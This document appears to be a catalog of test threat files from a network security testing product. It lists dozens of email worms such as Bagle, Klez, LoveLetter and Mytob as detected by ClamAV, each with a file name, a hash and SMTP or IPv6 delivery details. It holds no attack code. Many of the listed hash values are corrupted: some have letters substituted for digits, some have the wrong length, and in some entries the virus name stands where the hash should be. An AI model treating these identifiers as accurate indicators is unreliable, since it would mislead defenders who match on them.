Detailed Description:	This is the email virus W32.IWorm.Haiku as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc41f4637a734b9eaca74dfa9bel3efc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Scorpion.sco.1d57149c.xml
Executive Description:	Email Virus Email-Worm.Win32.Scorpion.sco
Detailed Description:	This is the email virus Email-Worm.Win32.Scorpion.sco as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Scorpion.sco. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Whitehome.0e5b4f5c_IPv6.xml
Executive Description:	Email Virus Worm.Whitehome (IPv6 Version)
Detailed Description:	This is the email virus Worm.Whitehome as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e5b4f5c8474dcdba48049fa33b775e3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zaid.2c154c5f.xml
Executive Description:	Email Virus Worm.Zaid
Detailed Description:	This is the email virus Worm.Zaid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c154c5f18defc1b08e48b50820a9736. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Maslan.A.6e35636c.xml
Executive Description:	Email Virus Worm.Maslan.A
Detailed Description:	This is the email virus Worm.Maslan.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e35636cb5156c463f84e2cb101049fb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.88a13860.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88a13860e90b412b59c5dec80fad7360. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.e.e.9d4cedb0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.59400e67_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 59400e67a27e113fb64b3d982bbb8269. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Energy.C.d71b2d51_IPv6.xml
Executive Description:	Email Virus Worm.Energy.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Energy.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d71b2d51ac4b161bd5288ca824fe800. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.VBSWG2.X.41cc548e_IPv6.xml
Executive Description:	Email Virus VBS.VBSWG2.X (IPv6 Version)
Detailed Description:	This is the email virus VBS.VBSWG2.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41cc548e66cfaf53e7a98b569f4b3dld. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Higuy.7b201aee_IPv6.xml
Executive Description:	Email Virus W32.Higuy (IPv6 Version)
Detailed Description:	This is the email virus W32.Higuy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7b201aee9f576dd90af4fa90c924a257. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Intr.A.95dc66a6.xml
Executive Description:	Email Virus Worm.VBS.Intr.A
Detailed Description:	This is the email virus Worm.VBS.Intr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95dc66a63e0b4c951d4e3333928b2fe0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.N.895d5751_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.N (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.N as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 895d5751fd254d86420640392608e10d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.VBSWG.Gen.385962f3_IPv6.xml
Executive Description:	Email Virus VBS.VBSWG.Gen (IPv6 Version)
Detailed Description:	This is the email virus VBS.VBSWG.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 385962f3043cf332ba91c5b55944145b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.a4bdb731.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4bdb731e91flc4e96a4b261f580b7a3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lucky.B.434b21e6.xml
Executive Description:	Email Virus Worm.Lucky.B
Detailed Description:	This is the email virus Worm.Lucky.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 434b21e61d2e8d6868e2a01f5be98150. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.2c20d8ff.xml
Executive Description:	Email Virus Worm.Yarner.D
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c20d8ffb6216a856aea7a1fcd711740. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BDS.Griffin.Srv.7cb4da70_IPv6.xml
Executive Description:	Email Virus BDS.Griffin.Srv (IPv6 Version)
Detailed Description:	This is the email virus BDS.Griffin.Srv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7cb4da70100ec5a8cab001d3e66ebfab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.2cda519a.xml
Executive Description:	Email Virus Worm.Mytob.S
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cda519a199aa9012fd4d7e16fce067a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anset.B.2ccccfd5_IPv6.xml
Executive Description:	Email Virus Worm.Anset.B (IPv6 Version)

Detailed Description:	This is the email virus Worm.Anset.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cccfd577fac89ec3e8daca753cd5f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.MTX.0c4158a6_IPv6.xml
Executive Description:	Email Virus W32.MTX (IPv6 Version)
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c4158a6169d9d3674359a4af4e466c8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.17c633c1_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c633c13c4b94499d0f987b674702b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Quocus.e64a7392_IPv6.xml
Executive Description:	Email Virus Worm.Quocus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64a7392204d070e022bcec825489519. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sdan.a.04443ed5_IPv6.xml
Executive Description:	Email Virus Worm.Sdan.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sdan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04443ed574905855d43c4251094845e5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcaul.O.c882635e_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.O (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c882635ec0dd9a153748adefbcb593. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.ecl90c3.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecl90c3bb2262bd9cb3179fe106c7b1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kouds.9e3c3be6_IPv6.xml
Executive Description:	Email Virus Worm.Kouds (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kouds as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e3c3be6975be786559522e44378f607. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.b.b.0571d54e_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Cazinat.a.a.15cd1169_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Cazinat.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Cazinat.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Cazinat.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.mal.24b79b36_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.mal (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.mal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.mal. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menger.men.c9de93a6.xml

Executive Description:	Email Virus Email-Worm.Win32.Menger.men
Detailed Description:	This is the email virus Email-Worm.Win32.Menger.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menger.men. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.bb088dlc.xml
Executive Description:	Email Virus Worm.Yarner.B
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb088dlc281333cdcaa644d7abb4ef27. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Sudal.d9c9826b.xml
Executive Description:	Email Virus Worm.IRC.Sudal
Detailed Description:	This is the email virus Worm.IRC.Sudal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d9c9826bc6ebf4f7744c799203419165. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Higuy.7b201aee.xml
Executive Description:	Email Virus W32.Higuy
Detailed Description:	This is the email virus W32.Higuy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7b201aee9f576dd90af4fa90c924a257. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Logic.b.b.01208271_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Logic.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Logic.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Logic.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sabak.A.82bcaf48.xml
Executive Description:	Email Virus Worm.Sabak.A
Detailed Description:	This is the email virus Worm.Sabak.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82bcaf482e8015ca5a5b755a1204e014. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Netav.A.8d56dc69.xml
Executive Description:	Email Virus Worm.Netav.A
Detailed Description:	This is the email virus Worm.Netav.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d56dc690037fe42056076636971ecb4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.YoursID.f4cclb17_IPv6.xml
Executive Description:	Email Virus Worm.YoursID (IPv6 Version)
Detailed Description:	This is the email virus Worm.YoursID as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f4cclb17617b9cfcf90e73356b8639. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Skybag.A.c9759d00.xml
Executive Description:	Email Virus Worm.Skybag.A
Detailed Description:	This is the email virus Worm.Skybag.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c9759d00f3fd03ledb61b13cla8810d1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vierika.242c9030.xml
Executive Description:	Email Virus Worm.Vierika
Detailed Description:	This is the email virus Worm.Vierika as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 242c9030e2b77db532537218cf508924. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Naked.da9dba70_IPv6.xml
Executive Description:	Email Virus Worm.Naked (IPv6 Version)
Detailed Description:	This is the email virus Worm.Naked as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: da9dba70de70dc43d6535f2975cecb68d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.VBS.Rowam.A.112c4f5c_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Rowam.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Rowam.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 112c4f5cac1e14787763670b6e426f59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Waber.wab.b3d31831_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Waber.wab (IPv6 Version)
Detailed Description:	This is the email virus Worm.Win32.Waber.wab as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Waber.wab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.6laf70c0_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6laf70c0b33fe7bd39e8da0a8bf6711d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Himeh.38feac70.xml
Executive Description:	Email Virus Worm.VBS.Himeh
Detailed Description:	This is the email virus Worm.VBS.Himeh as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38feac70c16cb209ble5d1860345f057. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.e420cc7e_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e420cc7e10ec15d50b2045644ff70337. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Ereal.d79675c6_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Ereal (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Ereal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d79675c65c94e6efd3af14cad5810b3b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.B6.ade4acfb.xml
Executive Description:	Email Virus W32.Magistr.B6
Detailed Description:	This is the email virus W32.Magistr.B6 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ade4acfb6cale7737f6167f104d4986a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Stration.AL-1.4988ef8f.xml
Executive Description:	Email Virus Worm.Stration.AL-1
Detailed Description:	This is the email virus Worm.Stration.AL-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4988ef8f16b40fc96f0bbe410df30702. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Hybris.C.6dac223b_IPv6.xml
Executive Description:	Email Virus W32.Hybris.C (IPv6 Version)
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dac223b7b1748210328ce4a2299dfce. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Ioana.6d7e6413_IPv6.xml
Executive Description:	Email Virus BAT.Ioana (IPv6 Version)
Detailed Description:	This is the email virus BAT.Ioana as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d7e6413225aFc7829231c7880c95371. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bindal.a.ebf478d4.xml
Executive Description:	Email Virus Worm.Bindal.a
Detailed Description:	This is the email virus Worm.Bindal.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ebf478d4e588fe8718939c9618a67b81. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.Yang.yan.afc8fa31.xml
Executive Description:	Email Virus Email-Worm.VBS.Yang.yan
Detailed Description:	This is the email virus Email-Worm.VBS.Yang.yan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Yang.yan. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Unis.c.c.71117908_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Unis.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Unis.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Unis.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AE.e64547e9_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.AE (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64547e952800a8f78838d6f2552e6b1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Dagli.dag.774192de_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Dagli.dag (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Dagli.dag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Dagli.dag. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Goofy.a440d4c7.xml
Executive Description:	Email Virus Worm.Goofy
Detailed Description:	This is the email virus Worm.Goofy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a440d4c778f8a81156de1def5fb5ee6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Timofonica.C.97537e23.xml
Executive Description:	Email Virus Worm.Timofonica.C
Detailed Description:	This is the email virus Worm.Timofonica.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97537e239b95c8ba7828a5742414d4dbd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neight.nei.f2f85781.xml
Executive Description:	Email Virus Email-Worm.Win32.Neight.nei
Detailed Description:	This is the email virus Email-Worm.Win32.Neight.nei as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neight.nei. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Netsup.A.e20439f1.xml
Executive Description:	Email Virus Worm.Netsup.A
Detailed Description:	This is the email virus Worm.Netsup.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e20439f128959798ae00f3257ab09aca. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hanged.490dbb43.xml
Executive Description:	Email Virus Worm.Hanged
Detailed Description:	This is the email virus Worm.Hanged as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 490dbb430f8f27af102c06a635032d78. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Godzilla.god.b1fa0612.xml
Executive Description:	Email Virus Email-Worm.VBS.Godzilla.god
Detailed Description:	This is the email virus Email-Worm.VBS.Godzilla.god as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Godzilla.god. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.Y.068ab7af_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.Y (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 068ab7aff165eaf4a6b5d1f5efc5779d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-1.58f05e95_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58f05e9519b3bd825fd6af936f4b2aed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.e.e.02506b10.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.I.8781b9a7.xml
Executive Description:	Email Virus Worm.Petik.I
Detailed Description:	This is the email virus Worm.Petik.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8781b9a791c0c144e97a466486f6ef33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.b.b.eec5778a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AH.e62f2456_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.AH (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.AH as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e62f24566081231484ff3791eb59bdf6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lafon.d.d.1080bf86.xml
Executive Description:	Email Virus Email-Worm.Win32.Lafon.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Lafon.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lafon.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Imitator.64761e6b_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Imitator (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Imitator as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64761e6b6994e0ac577fa4c049cc3be1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.3D-Stars.1.d7387686.xml
Executive Description:	Email Virus Worm.3D-Stars.1
Detailed Description:	This is the email virus Worm.3D-Stars.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d738768613c52557157d90c701cecc5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.b552e8e4_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b552e8e455c6918f5b4760b5cd03abb2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Scary.b4978dle_IPv6.xml
Executive Description:	Email Virus Worm.Scary (IPv6 Version)
Detailed Description:	This is the email virus Worm.Scary as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4978dle7542eafdc7b3908a5f45b8a6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Nothing.1fe97570.xml
Executive Description:	Email Virus Worm.VBS.Nothing
Detailed Description:	This is the email virus Worm.VBS.Nothing as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1fe97570197438787d086f5f6a8e044d. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.cld89319.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cld89319d1c6e4b77bf53ce33f131b6c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.638e2c92.xml
Executive Description:	Email Virus Worm.Fbound.C
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 638e2c92260bdcl4c6e41fd659a41ab7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.dl4a5a2c.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dl4a5a2c616f697aa9070f79e2c07d0d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Enviar.7e2f37ef.xml
Executive Description:	Email Virus Worm.Enviar
Detailed Description:	This is the email virus Worm.Enviar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e2f37ef4c3ac91b50c21524ldedbl69. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Migrate.9a6f9d08.xml
Executive Description:	Email Virus Worm.Migrate
Detailed Description:	This is the email virus Worm.Migrate as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a6f9d08316749c36598blb75e0e4256. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zimac.zim.ca0e8fde.xml
